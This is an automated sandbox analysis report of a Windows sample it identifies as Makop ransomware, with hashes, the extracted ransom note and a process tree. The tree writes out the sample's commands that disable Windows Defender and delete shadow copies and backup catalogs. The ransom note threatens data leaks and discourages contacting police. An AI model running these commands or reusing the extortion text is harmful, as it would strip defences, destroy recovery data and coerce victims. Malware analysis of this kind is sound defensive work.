Analysis
-
max time kernel
148s -
max time network
123s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
26-12-2021 05:07
General
-
Target
c540c9b5b467d575f46433b78237f6e1.exe
-
Size
109KB
-
MD5
c540c9b5b467d575f46433b78237f6e1
-
SHA1
93dd622dc1268f598a47fe7c75efbce355097b98
-
SHA256
5f5d1f324ed8dc18d76f200a176d40ab2ae48e336f33c2f7b5d047d682f3260a
-
SHA512
29776896e4e5eef318389c3b618afe1a1ccb83e4eb41c42bcb108576a50953d760696bcf7531331678e00284a2d0320dba553070a2e0cc3bd7896802e82c9190
Score
10/10
Malware Config
Extracted
Path
C:\Windows\tasks\readme-warning.txt
Ransom Note
All of your files have been encrypted. Your backup files as well. We have exfiltrated tons of your private data to our servers including data of your clients, dont believe us ? Read on. In order to restore your operations, avoid leaking/selling your data, and keep your business reputation intact, contact us directly on the below TOX ID as soon as possible.
1) TOX Download: https://tox.chat/
2) TOX ID: 5D935FD670BAEF3EA1938D60B91709D421DE8E21381267A77E16ED0D5FB4E36334304E35A472
3) Install TOX and add the TOX ID in the step 2
4) Share your personal ID over TOX chat (Do not send hello without your personal ID provided below)
Upon contacting us, proof will be provided that we can decrypt your data, and samples of exfiltrated confidential information will also be provided.
Although its not our intention , if you do not cooperate , we will not hesitate to make your data public including any confidential data , sell to your competitors/bidders , or send your clients their data just to make you look really bad and lose your clients trust , or even worse , being prosecuted for not telling your affected clients that their data has been compromised.
Talking to law enforcement will only ensure that you don't get a decryption key and put your business reputation on the line.
Attention!
- Do not rename encrypted files.
- Do not try to decrypt your data using third party software, it may cause permanent data loss.
Your personal ID: 6A239AB5
URLs
https://tox.chat/
Signatures
-
MAKOP ransomware payload 3 IoCs
-
Makop
Ransomware family discovered by @VK_Intel in early 2020.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Deletes backup catalog 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
-
Downloads MZ/PE file
-
Executes dropped EXE 3 IoCs
-
Loads dropped DLL 8 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 7 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Delays execution with timeout.exe 2 IoCs
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Modifies registry class 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 40 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\c540c9b5b467d575f46433b78237f6e1.exe"C:\Users\Admin\AppData\Local\Temp\c540c9b5b467d575f46433b78237f6e1.exe"1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"cmd" /C cmd /c reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f & reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f & c:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableRealtimeMonitoring $true" & dism /online /disable-feature /featurename:windows-defender /remove /norestart /quiet & c:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableArchiveScanning 1 -ErrorAction SilentlyContinue" & c:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableBehaviorMonitoring 1 -ErrorAction SilentlyContinue" & c:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableIntrusionPreventionSystem 1 -ErrorAction SilentlyContinue" & c:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableIOAVProtection 1 -ErrorAction SilentlyContinue" & c:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableRemovableDriveScanning 1 -ErrorAction SilentlyContinue" & c:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableBlockAtFirstSeen 1 -ErrorAction SilentlyContinue" & c:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan 1 -ErrorAction SilentlyContinue" & c:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableScanningNetworkFiles 1 -ErrorAction SilentlyContinue" & c:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableScriptScanning 1 -ErrorAction SilentlyContinue" & c:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableRealtimeMonitoring 1 -ErrorAction SilentlyContinue" & c:\windows\system32\windowspowershell\v1.0\powershell.exe "Add-MpPreference -ExclusionPath C:\ -ErrorAction SilentlyContinue"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\reg.exereg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f3⤵
-
-
\??\c:\windows\SysWOW64\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableRealtimeMonitoring $true"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\Dism.exedism /online /disable-feature /featurename:windows-defender /remove /norestart /quiet3⤵
- Drops file in Windows directory
-
-
\??\c:\windows\SysWOW64\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableArchiveScanning 1 -ErrorAction SilentlyContinue"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
\??\c:\windows\SysWOW64\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableBehaviorMonitoring 1 -ErrorAction SilentlyContinue"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
\??\c:\windows\SysWOW64\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableIntrusionPreventionSystem 1 -ErrorAction SilentlyContinue"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
\??\c:\windows\SysWOW64\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableIOAVProtection 1 -ErrorAction SilentlyContinue"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
\??\c:\windows\SysWOW64\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableRemovableDriveScanning 1 -ErrorAction SilentlyContinue"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
\??\c:\windows\SysWOW64\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableBlockAtFirstSeen 1 -ErrorAction SilentlyContinue"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
\??\c:\windows\SysWOW64\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan 1 -ErrorAction SilentlyContinue"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
\??\c:\windows\SysWOW64\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableScanningNetworkFiles 1 -ErrorAction SilentlyContinue"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
\??\c:\windows\SysWOW64\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableScriptScanning 1 -ErrorAction SilentlyContinue"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
\??\c:\windows\SysWOW64\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exe "Set-MpPreference -DisableRealtimeMonitoring 1 -ErrorAction SilentlyContinue"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
\??\c:\windows\SysWOW64\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exe "Add-MpPreference -ExclusionPath C:\ -ErrorAction SilentlyContinue"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /C timeout 102⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\timeout.exetimeout 103⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\tasks\MpResult.exe"C:\Windows\tasks\MpResult.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /C timeout 302⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\timeout.exetimeout 303⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\tasks\SA.exe"C:\Windows\tasks\SA.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\tasks\SA.exe"C:\Windows\tasks\SA.exe" n27963⤵
- Executes dropped EXE
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"3⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Windows\tasks\0.msi"2⤵
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 1E0DB3E7069B9D0B6719E8813D6F2CF2 C2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI233E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_259466281 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
112KB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
300KB
-
Filesize
472KB
-
Filesize
120KB
-
Filesize
660KB
-
Filesize
592KB
-
Filesize
4KB
-
Filesize
104KB
-
Filesize
104KB
-
Filesize
32KB
-
Filesize
32KB
-
Filesize
4KB
-
Filesize
216KB
-
Filesize
408KB
-
Filesize
6.2MB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
3.3MB
-
Filesize
4KB
-
Filesize
204KB
-
Filesize
4KB
-
Filesize
300KB
-
Filesize
472KB
-
Filesize
204KB
-
Filesize
4KB
-
Filesize
6.2MB
-
Filesize
128KB
-
Filesize
300KB
-
Filesize
6.0MB
-
Filesize
320KB
-
Filesize
5.2MB
-
Filesize
1.8MB
-
Filesize
72KB
-
Filesize
408KB
-
Filesize
1.0MB
-
Filesize
248KB
-
Filesize
120KB
-
Filesize
5.0MB
-
Filesize
584KB
-
Filesize
128KB
-
Filesize
472KB
-
Filesize
6.0MB
-
Filesize
204KB
-
Filesize
112KB
-
Filesize
408KB
-
Filesize
300KB
-
Filesize
472KB
-
Filesize
136KB
-
Filesize
204KB
-
Filesize
120KB
-
Filesize
6.2MB
-
Filesize
472KB
-
Filesize
300KB
-
Filesize
408KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
3.3MB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
136KB
-
Filesize
6.2MB
-
Filesize
216KB